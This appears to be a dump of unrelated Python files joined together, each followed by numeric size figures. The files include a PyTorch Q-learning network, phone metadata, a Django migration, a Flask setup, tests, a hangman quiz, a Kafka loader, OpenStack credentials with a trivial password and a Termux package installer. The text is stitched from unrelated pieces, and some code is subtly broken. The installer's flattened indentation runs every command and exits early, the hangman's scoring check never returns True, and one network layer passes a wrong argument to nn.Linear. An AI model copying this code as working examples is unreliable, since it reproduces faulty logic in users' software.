self.input_layer = nn.Sequential(nn.Linear(self._in_dim, self._hidden_units), nn.ReLU())
self.hidden_layers = nn.Sequential(
*[
nn.Sequential(nn.Linear(self._hidden_units, self._hidden_units), nn.ReLU())
for _ in range(self._num_hidden_layers - 1)
]
)
if self._dueling:
"""In dueling, we have two heads - one for estimating advantage function and one for
estimating value function. If `noisy` is also true, then each of these layers will
be NoisyLinear()"""
if self._noisy:
self.output_layer_adv = nn.Sequential(
NoisyLinear(self._hidden_units, self._hidden_units, self._sigma_init),
nn.ReLU(),
NoisyLinear(
self._hidden_units,
self._out_dim * self._atoms,
self._sigma_init,
),
)
self.output_layer_val = nn.Sequential(
NoisyLinear(self._hidden_units, self._hidden_units, self._sigma_init),
nn.ReLU(),
NoisyLinear(
self._hidden_units,
1 * self._atoms,
self._sigma_init,
),
)
else:
self.output_layer_adv = nn.Sequential(
nn.Linear(self._hidden_units, self._hidden_units, self._sigma_init),
nn.ReLU(),
nn.Linear(
self._hidden_units,
self._out_dim * self._atoms,
self._sigma_init,
),
)
self.output_layer_val = nn.Sequential(
nn.Linear(self._hidden_units, self._hidden_units, self._sigma_init),
nn.ReLU(),
nn.Linear(
self._hidden_units,
1 * self._atoms,
self._sigma_init,
),
)
else:
if self._noisy:
self.output_layer = NoisyLinear(self._hidden_units, self._out_dim * self._atoms, self._sigma_init)
else:
self.output_layer = nn.Linear(self._hidden_units, self._out_dim * self._atoms)
def forward(self, x):
x = torch.flatten(x, start_dim=1)
x = self.input_layer(x)
x = self.hidden_layers(x)
if self._dueling:
adv = self.output_layer_adv(x)
val = self.output_layer_val(x)
if len(adv.shape) == 1:
x = val + adv - adv.mean(0)
else:
x = val + adv - adv.mean(1).unsqueeze(1).expand(x.shape[0], self._out_dim)
else:
x = self.output_layer(x)
return x
class DistributionalMLP(ComplexMLP):
"""Distributional MLP function approximator for Q-Learning."""
def __init__(
self,
in_dim,
out_dim,
supports,
hidden_units=256,
num_hidden_layers=1,
noisy=True,
dueling=True,
sigma_init=0.5,
atoms=51,
):
super().__init__(
in_dim,
out_dim,
hidden_units,
num_hidden_layers,
noisy,
dueling,
sigma_init,
atoms,
)
self._supports = supports
def forward(self, x):
x = torch.flatten(x, start_dim=1)
x = self.dist(x)
x = torch.sum(x * self._supports, dim=2)
return x
def dist(self, x):
x = self.input_layer(x)
x = self.hidden_layers(x)
if self._dueling:
adv = self.output_layer_adv(x)
adv = adv.view(-1, self._out_dim, self._atoms)
val = self.output_layer_val(x)
val = val.view(-1, 1, self._atoms)
x = val + adv - adv.mean(dim=1, keepdim=True)
else:
x = self.output_layer(x)
x = x.view(-1, self._out_dim, self._atoms)
x = F.softmax(x, dim=-1)
x = x.clamp(min=1e-3)
return x
| 8,165 | 2,615 |
"""Auto-generated file, do not edit by hand. AC metadata"""
from ..phonemetadata import NumberFormat, PhoneNumberDesc, PhoneMetadata
PHONE_METADATA_AC = PhoneMetadata(id='AC', country_code=247, international_prefix='00',
general_desc=PhoneNumberDesc(national_number_pattern='[2-467]\\d{3}', possible_number_pattern='\\d{4}'),
fixed_line=PhoneNumberDesc(national_number_pattern='(?:[267]\\d|3[0-5]|4[4-69])\\d{2}', possible_number_pattern='\\d{4}', example_number='6889'),
mobile=PhoneNumberDesc(national_number_pattern='NA', possible_number_pattern='NA'),
toll_free=PhoneNumberDesc(national_number_pattern='NA', possible_number_pattern='NA'),
premium_rate=PhoneNumberDesc(national_number_pattern='NA', possible_number_pattern='NA'),
shared_cost=PhoneNumberDesc(national_number_pattern='NA', possible_number_pattern='NA'),
personal_number=PhoneNumberDesc(national_number_pattern='NA', possible_number_pattern='NA'),
voip=PhoneNumberDesc(national_number_pattern='NA', possible_number_pattern='NA'),
pager=PhoneNumberDesc(national_number_pattern='NA', possible_number_pattern='NA'),
uan=PhoneNumberDesc(national_number_pattern='NA', possible_number_pattern='NA'),
emergency=PhoneNumberDesc(national_number_pattern='911', possible_number_pattern='\\d{3}', example_number='911'),
voicemail=PhoneNumberDesc(national_number_pattern='NA', possible_number_pattern='NA'),
short_code=PhoneNumberDesc(national_number_pattern='NA', possible_number_pattern='NA'),
standard_rate=PhoneNumberDesc(national_number_pattern='NA', possible_number_pattern='NA'),
no_international_dialling=PhoneNumberDesc(national_number_pattern='NA', possible_number_pattern='NA'))
| 1,705 | 542 |
# Generated by Django 2.2.20 on 2021-12-17 19:26
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('main', '0155_improved_health_check'),
]
operations = [
migrations.AlterField(
model_name='instance',
name='node_type',
field=models.CharField(
choices=[
('control', 'Control plane node'),
('execution', 'Execution plane node'),
('hybrid', 'Controller and execution'),
('hop', 'Message-passing node, no execution capability'),
],
default='hybrid',
max_length=16,
),
),
migrations.CreateModel(
name='InstanceLink',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('source', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='+', to='main.Instance')),
('target', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='reverse_peers', to='main.Instance')),
],
options={
'unique_together': {('source', 'target')},
},
),
migrations.AddField(
model_name='instance',
name='peers',
field=models.ManyToManyField(through='main.InstanceLink', to='main.Instance'),
),
]
| 1,574 | 438 |
import torch
from torch import nn
from torch.nn import functional as F
class BicubicDownSample(nn.Module):
def bicubic_kernel(self, x, a=-0.50):
"""
This equation is exactly copied from the website below:
https://clouard.users.greyc.fr/Pantheon/experiments/rescaling/index-en.html#bicubic
"""
abs_x = torch.abs(x)
if abs_x <= 1.0:
return (a + 2.0) * torch.pow(abs_x, 3.0) - (a + 3.0) * torch.pow(abs_x, 2.0) + 1
elif 1.0 < abs_x < 2.0:
return a * torch.pow(abs_x, 3) - 5.0 * a * torch.pow(abs_x, 2.0) + 8.0 * a * abs_x - 4.0 * a
else:
return 0.0
def __init__(self, factor=4, cuda=True, padding="reflect"):
super().__init__()
self.factor = factor
size = factor * 4
k = torch.tensor(
[self.bicubic_kernel((i - torch.floor(torch.tensor(size / 2)) + 0.5) / factor) for i in range(size)],
dtype=torch.float32,
)
k = k / torch.sum(k)
# k = torch.einsum('i,j->ij', (k, k))
k1 = torch.reshape(k, shape=(1, 1, size, 1))
self.k1 = torch.cat([k1, k1, k1], dim=0)
k2 = torch.reshape(k, shape=(1, 1, 1, size))
self.k2 = torch.cat([k2, k2, k2], dim=0)
self.cuda = ".cuda" if cuda else ""
self.padding = padding
for param in self.parameters():
param.requires_grad = False
def forward(self, x, nhwc=False, clip_round=False, byte_output=False):
# x = torch.from_numpy(x).type('torch.FloatTensor')
filter_height = self.factor * 4
filter_width = self.factor * 4
stride = self.factor
pad_along_height = max(filter_height - stride, 0)
pad_along_width = max(filter_width - stride, 0)
filters1 = self.k1.type("torch{}.FloatTensor".format(self.cuda))
filters2 = self.k2.type("torch{}.FloatTensor".format(self.cuda))
# compute actual padding values for each side
pad_top = pad_along_height // 2
pad_bottom = pad_along_height - pad_top
pad_left = pad_along_width // 2
pad_right = pad_along_width - pad_left
# apply mirror padding
if nhwc:
x = torch.transpose(torch.transpose(x, 2, 3), 1, 2) # NHWC to NCHW
# downscaling performed by 1-d convolution
x = F.pad(x, (0, 0, pad_top, pad_bottom), self.padding)
x = F.conv2d(input=x, weight=filters1, stride=(stride, 1), groups=3)
if clip_round:
x = torch.clamp(torch.round(x), 0.0, 255.0)
x = F.pad(x, (pad_left, pad_right, 0, 0), self.padding)
x = F.conv2d(input=x, weight=filters2, stride=(1, stride), groups=3)
if clip_round:
x = torch.clamp(torch.round(x), 0.0, 255.0)
if nhwc:
x = torch.transpose(torch.transpose(x, 1, 3), 1, 2)
if byte_output:
return x.type("torch.{}.ByteTensor".format(self.cuda))
else:
return x
| 2,981 | 1,160 |
import logging
from flask import Flask
from . import utils, home, member, society, signup, jobs, admin
from .flask_seasurf import SeaSurf
from flask_talisman import Talisman
app = Flask(__name__,
template_folder="../templates",
static_folder="../static")
app.config['CSRF_CHECK_REFERER'] = False
csrf = SeaSurf(app)
Talisman(app)
logging.basicConfig(level=logging.DEBUG if app.debug else logging.INFO)
utils.setup_app(app)
app.register_blueprint(home.bp)
app.register_blueprint(member.bp)
app.register_blueprint(society.bp)
app.register_blueprint(signup.bp)
app.register_blueprint(jobs.bp)
app.register_blueprint(admin.bp)
| 655 | 228 |
import arche.rules.duplicates as duplicates
from arche.rules.result import Level, Outcome
from conftest import create_result
import numpy as np
import pandas as pd
import pytest
unique_inputs = [
({}, {}, {Level.INFO: [(Outcome.SKIPPED,)]}),
(
{"id": ["0", "0", "1"]},
{"unique": ["id"]},
{
Level.ERROR: [
("id contains 1 duplicated value(s)", None, {"same '0' `id`": [0, 1]})
]
},
),
(
{
"id": ["47" for x in range(6)],
"name": ["Walt", "Juan", "Juan", "Walt", "Walt", "John"],
},
{"unique": ["id", "name"]},
{
Level.ERROR: [
(
"id contains 1 duplicated value(s)",
None,
{"same '47' `id`": [i for i in range(6)]},
),
(
"name contains 2 duplicated value(s)",
None,
{"same 'Juan' `name`": [1, 2], "same 'Walt' `name`": [0, 3, 4]},
),
]
},
),
({"name": ["a", "b"]}, {"unique": ["name"]}, {}),
]
@pytest.mark.parametrize("data, tagged_fields, expected_messages", unique_inputs)
def test_find_by_unique(data, tagged_fields, expected_messages):
df = pd.DataFrame(data)
assert duplicates.find_by_unique(df, tagged_fields) == create_result(
"Duplicates By **unique** Tag", expected_messages, items_count=len(df)
)
@pytest.mark.parametrize(
"data, columns, expected_messages",
[
(
{"id": ["0", "0", "1"]},
["id"],
{
Level.ERROR: [
("2 duplicate(s) with same id", None, {"same '0' `id`": [0, 1]})
]
},
),
({"id": ["0", "1", "2"]}, ["id"], {}),
(
{"id": [np.nan, "9", "9"], "city": [np.nan, "Talca", "Talca"]},
["id", "city"],
{
Level.ERROR: [
(
"2 duplicate(s) with same id, city",
None,
{"same '9' `id`, 'Talca' `city`": [1, 2]},
)
]
},
),
],
)
def test_find_by(data, columns, expected_messages):
df = pd.DataFrame(data)
assert duplicates.find_by(df, columns) == create_result(
"Duplicates", expected_messages, items_count=len(df)
)
@pytest.mark.parametrize(
"data, tagged_fields, expected_messages",
[
({}, {}, {Level.INFO: [(Outcome.SKIPPED,)]}),
(
{"name": ["bob", "bob", "bob", "bob"], "url": ["u1", "u1", "2", "u1"]},
{"name_field": ["name"], "product_url_field": ["url"]},
{
Level.ERROR: [
(
"3 duplicate(s) with same name, url",
None,
{"same 'bob' `name`, 'u1' `url`": [0, 1, 3]},
)
]
},
),
(
{"name": ["john", "bob"], "url": ["url1", "url1"]},
{"name_field": ["name"], "product_url_field": ["url"]},
{},
),
],
)
def test_find_by_name_url(data, tagged_fields, expected_messages):
df = pd.DataFrame(data)
result = duplicates.find_by_name_url(df, tagged_fields)
assert result == create_result(
"Duplicates By **name_field, product_url_field** Tags",
expected_messages,
items_count=len(df),
)
| 3,569 | 1,155 |
# This is the word list from where the answers for the hangman game will come from.
word_list = [
2015,
"Fred Swaniker",
"Rwanda and Mauritius",
2,
"Dr, Gaidi Faraj",
"Sila Ogidi",
"Madagascar",
94,
8,
"Mauritius"
]
# Here we are defining the variables 'Right'(for when they get the question correct) and \n
# 'tries'(for when they get a question wrong).
Right = 0
tries = 0
# This function below after called, will greet the user when they input their name.
def greet(name):
print("Hello " + name + " welcome to hangman and good luck!")
user_name = input("What is your name?")
greet(user_name)
# This functions below when called, will check when guess is returned whether the user's guess is in the word_list\n
# or not and will print out the appropriate responses while consecutively adding to the 'Right' or 'tries' variable.
def alu(guess):
if guess in word_list:
print("congrats!")
def check(guess):
if guess not in word_list:
print("Wrong")
return guess
guess1 = int(input("When was ALU founded?"))
if alu(guess1):
Right += 1
else:
check(guess1)
tries += 1
guess2 = input("Who is the CEO of ALU")
if alu(guess2):
Right += 1
else:
check(guess2)
tries += 1
guess3 = input("Where are ALU campuses?")
if alu(guess3):
Right += 1
else:
check(guess3)
tries += 1
guess4 = int(input("How many campuses does ALU have?"))
if alu(guess4):
Right += 1
else:
check(guess4)
tries += 1
guess5 = input("What is the name of ALU Rwanda's Dean?")
if alu(guess5):
Right += 1
else:
check(guess5)
tries += 1
guess6 = input("Who is in charge of Student Life?")
if alu(guess6):
Right += 1
else:
check(guess6)
tries += 1
if tries == 6:
exit("You lost")
guess7 = input("What is the name of our Lab?")
if alu(guess7):
Right += 1
else:
check(guess7)
tries += 1
if tries == 6:
exit("You lost")
guess8 = int(input("How many students do we have in Year 2 CS?"))
if alu(guess8):
Right += 1
else:
check(guess8)
tries += 1
if tries == 6:
exit("You lost")
guess9 = int(input("How many degrees does ALU offer?"))
if alu(guess9):
Right += 1
else:
check(guess9)
tries += 1
if tries == 6:
exit("You lost")
guess10 = input("Where are the headquarters of ALU?")
if alu(guess10):
Right += 1
else:
check(guess10)
tries += 1
if tries == 6:
exit("You lost")
| 2,602 | 1,008 |
import json
import os
import pycspr
# A known casper test-net node address.
_NODE_ADDRESS = os.getenv("CASPER_NODE_ADDRESS", "3.136.227.9")
# A known block hash.
_BLOCK_HASH: bytes = bytes.fromhex("c7148e1e2e115d8fba357e04be2073d721847c982dc70d5c36b5f6d3cf66331c")
# A known block height.
_BLOCK_HEIGHT: int = 20652
def main():
"""Retrieves transfers by block.
"""
# Set client.
client = pycspr.NodeClient(pycspr.NodeConnectionInfo(host=_NODE_ADDRESS))
# Set block by known hash.
block_transers_1: tuple = client.queries.get_block_transfers(_BLOCK_HASH)
# Set block by known height.
block_transers_2: tuple = client.queries.get_block_transfers(_BLOCK_HEIGHT)
# Verify block information equivalence.
assert block_transers_1 == block_transers_2
print("-----------------------------------------------------------------------------------------------------")
print(f"QUERIED TEST-NET NODE {_NODE_ADDRESS}")
print("-----------------------------------------------------------------------------------------------------")
print(f"Block transfers = {json.dumps(block_transers_1, indent=4)}")
print("-----------------------------------------------------------------------------------------------------")
if __name__ == "__main__":
try:
main()
except Exception as err:
print(f"API ERROR @ NODE {_NODE_ADDRESS} :: {err}")
| 1,416 | 473 |
import nose2.tools
from typing import Union
from app.util import has_attributes
class SampleClass:
pass
class TestUtil:
@nose2.tools.params(
('SET_VALUE', True),
(None, False),
('NO_ATTRIBUTE', False),
(False, True),
('', True),
(0, True),
)
def test_has_attributes(self, value: Union[bool, int, str, None], ans: bool) -> None:
obj = SampleClass()
if value != 'NO_ATTRIBUTE':
setattr(obj, 'attr', value)
has_attr = has_attributes(obj, 'attr')
assert has_attr is ans
| 582 | 191 |
# Copyright 2022 by Autodesk, Inc.
# Permission to use, copy, modify, and distribute this software in object code form
# for any purpose and without fee is hereby granted, provided that the above copyright
# notice appears in all copies and that both that copyright notice and the limited
# warranty and restricted rights notice below appear in all supporting documentation.
#
# AUTODESK PROVIDES THIS PROGRAM "AS IS" AND WITH ALL FAULTS. AUTODESK SPECIFICALLY
# DISCLAIMS ANY IMPLIED WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR USE.
# AUTODESK, INC. DOES NOT WARRANT THAT THE OPERATION OF THE PROGRAM WILL BE
# UNINTERRUPTED OR ERROR FREE.
from dataclasses import dataclass, field
import base64
import pprint
import adsk.core
app = adsk.core.Application.get()
def b64_url_safe_encode(string):
encoded_bytes = base64.urlsafe_b64encode(string.encode("utf-8"))
encoded_str = str(encoded_bytes, "utf-8")
return encoded_str.rstrip("=")
def b64_url_safe_decode(string):
return str(base64.urlsafe_b64decode(string.lstrip('a.') + "==="), "utf-8")
def link_for_url(url: str) -> str:
return f"<a href={url}>{url}</a>"
@dataclass
class FusionData:
# This should be set at creation or at least validity checked BEFORE calling this
data_file: adsk.core.DataFile = field(repr=False, default=None)
# THe following are computed based on current state of Fusion and are not "printed" by default
hub: adsk.core.DataHub = field(repr=False, init=False)
project: adsk.core.DataProject = field(repr=False, init=False)
folder: adsk.core.DataFolder = field(repr=False, init=False)
user: adsk.core.User = field(repr=False, init=False)
# All String Properties
file_name: str = field(init=False)
user_email: str = field(init=False)
hub_name: str = field(init=False)
hub_id: str = field(init=False)
hub_id_decoded: str = field(init=False)
hub_team_name: str = field(init=False)
project_name: str = field(init=False)
project_id: str = field(init=False)
project_id_decoded: str = field(init=False)
folder_name: str = field(init=False)
folder_id: str = field(init=False)
lineage_urn: str = field(init=False)
version_urn: str = field(init=False)
base64_lineage_urn: str = field(init=False)
base64_version_urn: str = field(init=False)
open_from_web: str = field(init=False)
fusion_team_url: str = field(init=False)
fusion_team_link: str = field(init=False)
def __post_init__(self):
# THe following are computed based on current state of Fusion and are not "printed" by default
self.hub = app.data.activeHub
self.project = self.data_file.parentProject
self.folder = self.data_file.parentFolder
self.user = app.currentUser
# All String Properties
self.file_name: str = self.data_file.name
self.user_email: str = self.user.email
self.hub_name: str = self.hub.name
self.hub_id: str = self.hub.id
self.hub_id_decoded: str = b64_url_safe_decode(self.hub_id)
self.hub_team_name: str = self.hub_id_decoded.split(':')[-1]
self.project_name: str = self.project.name
self.project_id: str = self.project.id
self.project_id_decoded: str = b64_url_safe_decode(self.project_id)
self.folder_name: str = self.folder.name
self.folder_id: str = self.folder.id
self.lineage_urn: str = self.data_file.id
self.version_urn: str = self.data_file.versionId
self.base64_lineage_urn: str = b64_url_safe_encode(self.lineage_urn)
self.base64_version_urn: str = b64_url_safe_encode(self.version_urn)
team_base_url: str = 'autodesk360'
self.open_from_web: str = f"fusion360://userEmail={self.user_email}&" \
f"lineageUrn={self.lineage_urn}&" \
f"hubUrl=https://{self.hub_team_name}.{team_base_url}.com&" \
f"documentName={self.file_name}"
self.fusion_team_url: str = f"https://{self.hub_team_name}.{team_base_url}.com/g/data/{self.base64_lineage_urn}"
self.fusion_team_link = link_for_url(self.fusion_team_url)
def str_dict(self):
return {k: v
for k, v in self.__dict__.items()
if isinstance(v, str)}
def pretty_string(self):
return pprint.pformat(self.str_dict())
| 4,427 | 1,537 |
"""
This process creates the two kafka topics to be used.
The input-topic with ten partitions and the output-topic with one partition.
Also preloads the kafka cluster with test data (if flag is set to true).
"""
import os
import time
import json
import logging
from confluent_kafka.admin import AdminClient, NewTopic
from confluent_kafka import Producer
# defining logger
logger = logging.getLogger()
logger.setLevel(logging.INFO)
# reading the environement variables defined on the docker compose
KAFKA_CLUSTER = os.environ.get('KAFKA_CLUSTER_CONNECT', 'localhost:9092')
LOAD_DATA = os.environ.get('LOAD_SAMPLE_DATA', False)
logging.info(
(f'>Env variables: KAFKA_CLUSTER_CONNECT={KAFKA_CLUSTER} '
f'LOAD_SAMPLE_DATA={LOAD_DATA}'))
BROKER_CONFIG = {'bootstrap.servers': KAFKA_CLUSTER}
def read_json_file(file_route: str) -> dict:
"""
Read the json configuration file to set topics and partitions.
Args:
- str, the route(with name) of the configuration file.
Returns:
- dict, with the configurations defined on the json file.
"""
with open(file_route, 'r') as f:
config = json.load(f)
logging.info('JSON file readed.')
return config
def create_topics(admin: object, config: dict) -> None:
"""Create the kafka topics based on the configuration file.
Args:
- object, the admin client kafka object.
- dict, json configuration of the process.
Returns: None.
"""
# read the topic configuration and create the NewTopic objects
topics = []
for k, v in config.items():
topics.append(NewTopic(
v['topic_name'],
num_partitions=v['partitions_quantity'],
replication_factor=1
)
)
logging.info(f'Starting the creation of the topics: {topics}...')
creation_response = admin.create_topics(topics)
# the response has futures (which runs asynchronously) so we validate them
# to see if they succeeded or not
for topic, f in creation_response.items():
try:
f.result()
logging.info(f'Creation of the topic {topic} completed.')
except Exception as e:
logger.error(f'Error creating the kafka topic: {topic}. {e}')
raise Exception(f'Error creating the kafka topic: {topic}. {e}')
def list_topics_and_config(admin: object) -> None:
"""Check the topics that exists at a specifid.
And displays other configs of the Kafka Cluster.
Args:
- object, the admin client kafka object.
Returns: None.
"""
list_response = admin.list_topics(timeout=5)
# get all the broker info
logging.info('>Broker details:')
for counter, broker in enumerate(list_response.brokers.items(), start=1):
logging.info(f'{counter}-Broker info: {broker}')
logging.info('>Topics details:')
# get all the topic names
for counter, topic_data in enumerate(list_response.topics.items(), start=1):
logging.info(f'{counter}-Topic info: {topic_data}')
def load_sample_data(topic: str, sample_data: list) -> None:
"""Loads the sample data to the input kafka topic.
This will load data across 10 different partitions.
Args:
- str, the topic name where the data is going to be loaded.
- list, the sample data to be loaded by the producer across
all the partitions of the specified topic.
Returns: None
"""
producer = Producer(BROKER_CONFIG)
# iterate through partitions
for data in sample_data:
for number in data['values']:
try:
producer.produce(topic, str(number), None, data['partition'])
except Exception as e:
logger.error(
f'Producer failed to produce a message to the topic. {e}')
raise Exception(
f'Failed to produce a message from Kakfia. {e}')
producer.poll(0)
# ensure all the delivery queue has been loaded
producer.flush()
logging.info('Data successfully produced and loaded to the specify topic.')
def main() -> None:
"""Orchestrates all the process execution.
From configuring the cluster topics to load the sample input data.
"""
configuration_file = 'topic_config.json'
data_file = 'sample_data.json'
time.sleep(5)
actual_path = os.path.dirname(__file__)
configuration_path = os.path.join(actual_path, configuration_file)
data_path = os.path.join(actual_path, data_file)
config = read_json_file(configuration_path)
# defining the admin client needed to create topics
admin = AdminClient(BROKER_CONFIG)
create_topics(admin, config)
# this step its only for validation purposes
list_topics_and_config(admin)
# start the load of the sample data to the input topic
if LOAD_DATA:
in_topic_name = config['in_topic_conf']['topic_name']
sample_data = read_json_file(data_path)
load_sample_data(in_topic_name, sample_data)
if __name__ == '__main__':
main()
| 5,044 | 1,472 |
OS_MA_NFVO_IP = '192.168.1.197'
OS_USER_DOMAIN_NAME = 'Default'
OS_USERNAME = 'admin'
OS_PASSWORD = '0000'
OS_PROJECT_DOMAIN_NAME = 'Default'
OS_PROJECT_NAME = 'admin' | 167 | 84 |
"""Extract body part annotations."""
import re
import spacy
from traiter.const import COMMA
from traiter.patterns.matcher_patterns import MatcherPatterns
from anoplura.pylib.const import COMMON_PATTERNS
from anoplura.pylib.const import CONJ
from anoplura.pylib.const import MISSING
from anoplura.pylib.const import REPLACE
JOINER = CONJ + COMMA
JOINER_RE = "|".join(JOINER + [r"\s"])
JOINER_RE = re.compile(rf"\b(?:{JOINER_RE})\b", flags=re.IGNORECASE)
MISSING_RE = "|".join([fr"\b{m}\b" for m in MISSING])
MISSING_RE = re.compile(MISSING_RE, flags=re.IGNORECASE)
BODY_PART = MatcherPatterns(
"body_part",
on_match="anoplura.body_part.v1",
decoder=COMMON_PATTERNS
| {
"seg": {"ENT_TYPE": "segmented"},
"ord": {"ENT_TYPE": {"IN": ["ordinal", "number_word"]}},
},
patterns=[
"missing part+",
"missing? any_part* part",
"part+ &/,/or* part* &/,/or* part+",
"part+ ord -? ord",
"part+ 99? -? 99",
"part+ ord?",
"part+ 99?",
"part+ ord -? seg",
"part+ 99 -? seg",
"ord? -? seg? part+",
"99 - seg part+",
],
)
@spacy.registry.misc(BODY_PART.on_match)
def body_part(ent):
"""Enrich a body part span."""
data = {}
parts = JOINER_RE.split(ent.text.lower())
parts = [REPLACE.get(p, p) for p in parts]
text = " ".join(parts)
text = re.sub(r"\s*-\s*", "-", text)
text = REPLACE.get(text, text)
if MISSING_RE.search(ent.text.lower()) is not None:
data["missing"] = True
data["body_part"] = text
ent._.data = data
| 1,591 | 640 |
#!/usr/bin/python3
import os
import time
import sys
os.system("clear")
print('''\033[91m
CREATED BY Hironotori
''')
def slowprint(s):
for c in s + '\n' :
sys.stdout.write(c)
sys.stdout.flush()
slowprint(''' \033[93m
[1] apt-pkg pip-pip3 [2] apt-pkg python
[3] apt-pkg python2 [4] apt-pkg bash
[5] apt-pkg git [6] apt-pkg perl
[7] apt-pkg nano [8] apt-pkg curl
[9] apt-pkg openssl [10] apt-pkg openssh
[11] apt-pkg wget [12] apt-pkg clang
[13] apt-pkg nmap [14] apt-pkg w3m
[15] apt-pkg ruby [16] apt-pkg dnsutils
[17] apt-pkg coreutils [18] apt-pkg fish.
[19] apt-pkg zip [20] apt-pkg figlet.
[21] apt-pkg cowsay [22] apt-pkg unzip.
[23] apt-pkg vim [24] apt-pkg wcalc.
[25] apt-pkg bmon [26] apt-pkg unrar.
[27] apt-pkg proot [28] apt-pkg golang.
[29] apt-pkg tsu [30] apt-pkg tor.
[31] apt-pkg php
[00] Установить все Вместе [0] Выход''')
print (" ")
choice = input("\033[93mВыберите пункт : ")
if choice == '0' : sys.exit()
if choice == '1' : os.system ("apt upgrade -y")
os.system ("pkg install")
os.system ("pkg upgrade")
os.system ("apt install")
os.system ("apt upgrade")
os.system ("apt update")
os.system ("pkg update")
os.system("python -m pip install --upgrade pip")
os.system ("pip3 install --upgrade setuptools pip")
os.system ("termux-setup-storage")
sys.exit ()
if choice == '2' : os.system ("apt upgrade -y")
os.system ("pkg install")
os.system ("pkg upgrade")
os.system ("apt install")
os.system ("apt upgrade")
os.system ("apt update")
os.system ("pkg update")
os.system ("pkg install python -y")
os.system ("pkg upgrade python -y")
os.system ("apt install python -y")
os.system ("apt upgrade python -y")
os.system ("termux-setup-storage")
sys.exit ()
if choice == '3' : os.system ("apt upgrade -y")
os.system ("pkg install")
os.system ("pkg upgrade")
os.system ("apt install")
os.system ("apt upgrade")
os.system ("apt update")
os.system ("pkg update")
os.system ("pkg install python2 -y")
os.system ("pkg upgrade python2 -y")
os.system ("apt install python2 -y")
os.system ("apt upgrade python2 -y")
os.system ("termux-setup-storage")
sys.exit ()
if choice == '4' : os.system ("apt upgrade -y")
os.system ("pkg install")
os.system ("pkg upgrade")
os.system ("apt install")
os.system ("apt upgrade")
os.system ("apt update")
os.system ("pkg update")
os.system ("pkg install bash")
os.system ("apt install bash")
os.system ("pkg upgrade bash")
os.system ("apt upgrade bash")
os.system ("termux-setup-storage")
sys.exit ()
if choice == '5' : os.system ("apt upgrade -y")
os.system ("pkg install")
os.system ("pkg upgrade")
os.system ("apt install")
os.system ("apt upgrade")
os.system ("apt update")
os.system ("pkg update")
os.system ("apt install git -y")
os.system ("pkg install git -y")
os.system ("pkg upgrade git -y")
os.system ("apt upgrade git -y")
os.system ("termux-setup-storage")
sys.exit ()
if choice == '6' : os.system ("apt upgrade -y")
os.system ("pkg install")
os.system ("pkg upgrade")
os.system ("apt install")
os.system ("apt upgrade")
os.system ("apt update")
os.system ("pkg update")
os.system ("pkg install perl -y")
os.system ("apt install perl -y")
os.system ("pkg upgrade perl -y")
os.system ("apt upgrade perl -y")
os.system ("termux-setup-storage")
sys.exit ()
if choice == '7' : os.system ("apt upgrade -y")
os.system ("pkg install")
os.system ("pkg upgrade")
os.system ("apt install")
os.system ("apt upgrade")
os.system ("apt update")
os.system ("pkg update")
os.system ("pkg install nano -y")
os.system ("apt install nano -y")
os.system ("pkg upgrade nano -y")
os.system ("apt upgrade nano -y")
os.system ("termux-setup-storage")
sys.exit ()
if choice == '8' : os.system ("apt upgrade -y")
os.system ("pkg install")
os.system ("pkg upgrade")
os.system ("apt install")
os.system ("apt upgrade")
os.system ("apt update")
os.system ("pkg update")
os.system ("pkg install curl -y")
os.system ("apt install curl -y")
os.system ("pkg upgrade curl -y")
os.system ("apt upgrade curl -y")
os.system ("termux-setup-storage")
sys.exit ()
if choice == '9' : os.system ("apt upgrade -y")
os.system ("pkg install")
os.system ("pkg upgrade")
os.system ("apt install")
os.system ("apt upgrate")
os.system ("apt update")
os.system ("pkg update")
os.system ("pkg install openssl -y")
os.system ("apt install openssl -y")
os.system ("pkg upgrade openssl -y")
os.system ("apt upgrade openssl -y")
os.system ("termux-setup-storage")
sys.exit ()
if choice == '10' : os.system ("apt upgrade -y")
os.system ("pkg install")
os.system ("pkg upgrade")
os.system ("apt install")
os.system ("apt upgrate")
os.system ("apt update")
os.system ("pkg update")
os.system ("pkg install openssh -y")
os.system ("apt install openssh -y")
os.system ("pkg upgrade openssh -y")
os.system ("apt upgrade openssh -y")
os.system ("termux-setup-storage")
sys.exit ()
if choice == '11' : os.system ("apt upgrade -y")
os.system ("pkg install")
os.system ("pkg upgrade")
os.system ("apt install")
os.system ("apt upgrate")
os.system ("apt update")
os.system ("pkg update")
os.system ("pkg install wget -y")
os.system ("apt install wget -y")
os.system ("pkg upgrade wget -y")
os.system ("apt upgrade wget -y")
os.system ("termux-setup-storage")
sys.exit ()
if choice == '12' : os.system ("apt upgrade -y")
os.system ("pkg install")
os.system ("pkg upgrade")
os.system ("apt install")
os.system ("apt upgrate")
os.system ("apt update")
os.system ("pkg update")
os.system ("pkg install clang -y")
os.system ("apt install clang -y")
os.system ("pkg upgrade clang -y")
os.system ("apt upgrade clang -y")
os.system ("termux-setup-storage")
sys.exit ()
if choice == '13' : os.system ("apt upgrade -y")
os.system ("pkg install")
os.system ("pkg upgrade")
os.system ("apt install")
os.system ("apt upgrate")
os.system ("apt update")
os.system ("pkg update")
os.system ("pkg install nmap -y")
os.system ("apt install nmap -y")
os.system ("pkg upgrade nmap -y")
os.system ("apt upgrade nmap -y")
os.system ("termux-setup-storage")
sys.exit ()
if choice == '14' : os.system ("apt upgrade -y")
os.system ("pkg install")
os.system ("pkg upgrade")
os.system ("apt install")
os.system ("apt upgrate")
os.system ("apt update")
os.system ("pkg update")
os.system ("pkg install w3m -y")
os.system ("apt install w3m -y")
os.system ("pkg upgrade w3m -y")
os.system ("apt upgrade w3m -y")
os.system ("termux-setup-storage")
sys.exit ()
if choice == '15' : os.system ("apt upgrade -y")
os.system ("pkg install")
os.system ("pkg upgrade")
os.system ("apt install")
os.system ("apt upgrate")
os.system ("apt update")
os.system ("pkg update")
os.system ("pkg install ruby -y")
os.system ("apt install ruby -y")
os.system ("pkg upgrade ruby -y")
os.system ("apt upgrade ruby -y")
os.system ("termux-setup-storage")
sys.exit ()
if choice == '16' : os.system ("apt upgrade -y")
os.system ("pkg install")
os.system ("pkg upgrade")
os.system ("apt install")
os.system ("apt upgrate")
os.system ("apt update")
os.system ("pkg update")
os.system ("pkg install dnsutils -y")
